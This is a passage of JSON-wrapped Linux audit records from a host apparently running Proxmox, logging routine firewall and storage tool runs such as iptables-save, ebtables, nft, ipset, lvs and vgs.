name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964082864,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964082.864:59506): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965625650,"@rawstring":"node=pve type=PATH msg=audit(1781965625.650:66400): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964082864,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964082.864:59505): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965625650,"@rawstring":"node=pve type=PATH msg=audit(1781965625.650:66400): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964082853,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964082.853:59504): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965625638,"@rawstring":"node=pve type=PATH msg=audit(1781965625.638:66399): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964082853,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964082.853:59503): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965625638,"@rawstring":"node=pve type=PATH msg=audit(1781965625.638:66399): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964082852,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964082.852:59502): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965625629,"@rawstring":"node=pve type=PATH msg=audit(1781965625.629:66398): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964077846,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964077.846:59501): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965625629,"@rawstring":"node=pve type=PATH msg=audit(1781965625.629:66398): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964077846,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964077.846:59500): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965625615,"@rawstring":"node=pve type=PATH msg=audit(1781965625.615:66397): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964077846,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964077.846:59499): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965625615,"@rawstring":"node=pve type=PATH msg=audit(1781965625.615:66397): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964077839,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964077.839:59498): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965625603,"@rawstring":"node=pve type=PATH msg=audit(1781965625.603:66396): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964077839,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964077.839:59497): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965625603,"@rawstring":"node=pve type=PATH msg=audit(1781965625.603:66396): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964077839,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964077.839:59496): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965625582,"@rawstring":"node=pve type=PATH msg=audit(1781965625.582:66395): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075832,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964075.832:59495): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965625582,"@rawstring":"node=pve type=PATH msg=audit(1781965625.582:66395): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075829,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964075.829:59494): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965624822,"@rawstring":"node=pve type=PATH msg=audit(1781965624.822:66394): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075827,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964075.827:59493): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965624822,"@rawstring":"node=pve type=PATH msg=audit(1781965624.822:66394): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075827,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964075.827:59492): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965624792,"@rawstring":"node=pve type=PATH msg=audit(1781965624.792:66393): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075822,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964075.822:59491): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965624792,"@rawstring":"node=pve type=PATH msg=audit(1781965624.792:66393): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075814,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964075.814:59490): proctitle=\"ip6tables-save\""} {"@timestamp":1781965623715,"@rawstring":"node=pve type=PATH msg=audit(1781965623.715:66392): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075807,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964075.807:59489): proctitle=\"iptables-save\""} {"@timestamp":1781965623715,"@rawstring":"node=pve type=PATH msg=audit(1781965623.715:66392): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075799,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964075.799:59488): proctitle=\"ip6tables-save\""} {"@timestamp":1781965623715,"@rawstring":"node=pve type=PATH msg=audit(1781965623.715:66391): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075793,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964075.793:59487): proctitle=\"iptables-save\""} {"@timestamp":1781965623715,"@rawstring":"node=pve type=PATH msg=audit(1781965623.715:66390): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075788,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964075.788:59486): proctitle=\"ebtables-restore\""} {"@timestamp":1781965623706,"@rawstring":"node=pve type=PATH msg=audit(1781965623.706:66389): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075784,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964075.784:59485): proctitle=\"ebtables-restore\""} {"@timestamp":1781965623706,"@rawstring":"node=pve type=PATH msg=audit(1781965623.706:66389): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075779,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964075.779:59484): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965623706,"@rawstring":"node=pve type=PATH msg=audit(1781965623.706:66388): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075774,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964075.774:59483): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965623706,"@rawstring":"node=pve type=PATH msg=audit(1781965623.706:66387): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075767,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964075.767:59482): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965618698,"@rawstring":"node=pve type=PATH msg=audit(1781965618.698:66386): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075762,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964075.762:59481): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965618698,"@rawstring":"node=pve type=PATH msg=audit(1781965618.698:66386): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075757,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964075.757:59480): proctitle=697073657400726573746F7265"} {"@timestamp":1781965618698,"@rawstring":"node=pve type=PATH msg=audit(1781965618.698:66385): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075747,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964075.747:59479): proctitle=\"ip6tables-save\""} {"@timestamp":1781965618697,"@rawstring":"node=pve type=PATH msg=audit(1781965618.697:66384): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075741,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964075.741:59478): proctitle=\"iptables-save\""} {"@timestamp":1781965618690,"@rawstring":"node=pve type=PATH msg=audit(1781965618.690:66383): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075736,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964075.736:59477): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965618690,"@rawstring":"node=pve type=PATH msg=audit(1781965618.690:66383): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075733,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964075.733:59476): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965618690,"@rawstring":"node=pve type=PATH msg=audit(1781965618.690:66382): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075731,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964075.731:59475): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965618690,"@rawstring":"node=pve type=PATH msg=audit(1781965618.690:66381): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075731,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964075.731:59474): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965615553,"@rawstring":"node=pve type=PATH msg=audit(1781965615.553:66380): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075728,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964075.728:59473): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965615553,"@rawstring":"node=pve type=PATH msg=audit(1781965615.553:66380): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075721,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964075.721:59472): proctitle=\"ip6tables-save\""} {"@timestamp":1781965615548,"@rawstring":"node=pve type=PATH msg=audit(1781965615.548:66379): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075713,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964075.713:59471): proctitle=\"iptables-save\""} {"@timestamp":1781965615548,"@rawstring":"node=pve type=PATH msg=audit(1781965615.548:66379): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075708,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964075.708:59470): proctitle=69707365740073617665"} {"@timestamp":1781965615547,"@rawstring":"node=pve type=PATH msg=audit(1781965615.547:66378): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075701,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964075.701:59469): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965615547,"@rawstring":"node=pve type=PATH msg=audit(1781965615.547:66378): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075695,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964075.695:59468): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965615546,"@rawstring":"node=pve type=PATH msg=audit(1781965615.546:66377): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964074677,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964074.677:59467): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965615540,"@rawstring":"node=pve type=PATH msg=audit(1781965615.540:66376): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964074642,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964074.642:59466): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965615540,"@rawstring":"node=pve type=PATH msg=audit(1781965615.540:66376): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964072832,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964072.832:59465): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965615540,"@rawstring":"node=pve type=PATH msg=audit(1781965615.540:66376): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964072832,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964072.832:59464): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965615530,"@rawstring":"node=pve type=PATH msg=audit(1781965615.530:66375): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964072832,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964072.832:59463): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965615530,"@rawstring":"node=pve type=PATH msg=audit(1781965615.530:66375): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964072823,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964072.823:59462): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965615520,"@rawstring":"node=pve type=PATH msg=audit(1781965615.520:66374): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964072823,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964072.823:59461): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965615520,"@rawstring":"node=pve type=PATH msg=audit(1781965615.520:66374): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964072823,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964072.823:59460): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965615512,"@rawstring":"node=pve type=PATH msg=audit(1781965615.512:66373): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964067815,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964067.815:59459): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965615512,"@rawstring":"node=pve type=PATH msg=audit(1781965615.512:66373): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964067815,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964067.815:59458): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965615501,"@rawstring":"node=pve type=PATH msg=audit(1781965615.501:66372): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964067815,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964067.815:59457): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965615501,"@rawstring":"node=pve type=PATH msg=audit(1781965615.501:66372): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964067810,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964067.810:59456): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965615492,"@rawstring":"node=pve type=PATH msg=audit(1781965615.492:66370): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964067810,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964067.810:59455): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965615492,"@rawstring":"node=pve type=PATH msg=audit(1781965615.492:66370): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964067810,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964067.810:59454): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965615484,"@rawstring":"node=pve type=PATH msg=audit(1781965615.484:66369): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065684,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964065.684:59453): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965615484,"@rawstring":"node=pve type=PATH msg=audit(1781965615.484:66369): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065681,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964065.681:59452): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965615476,"@rawstring":"node=pve type=PATH msg=audit(1781965615.476:66368): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065680,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964065.680:59451): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965615476,"@rawstring":"node=pve type=PATH msg=audit(1781965615.476:66368): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065680,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964065.680:59450): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965615469,"@rawstring":"node=pve type=PATH msg=audit(1781965615.469:66367): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065677,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964065.677:59449): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965615469,"@rawstring":"node=pve type=PATH msg=audit(1781965615.469:66367): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065669,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964065.669:59448): proctitle=\"ip6tables-save\""} {"@timestamp":1781965615462,"@rawstring":"node=pve type=PATH msg=audit(1781965615.462:66366): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065662,"@rawstring":"node=pve 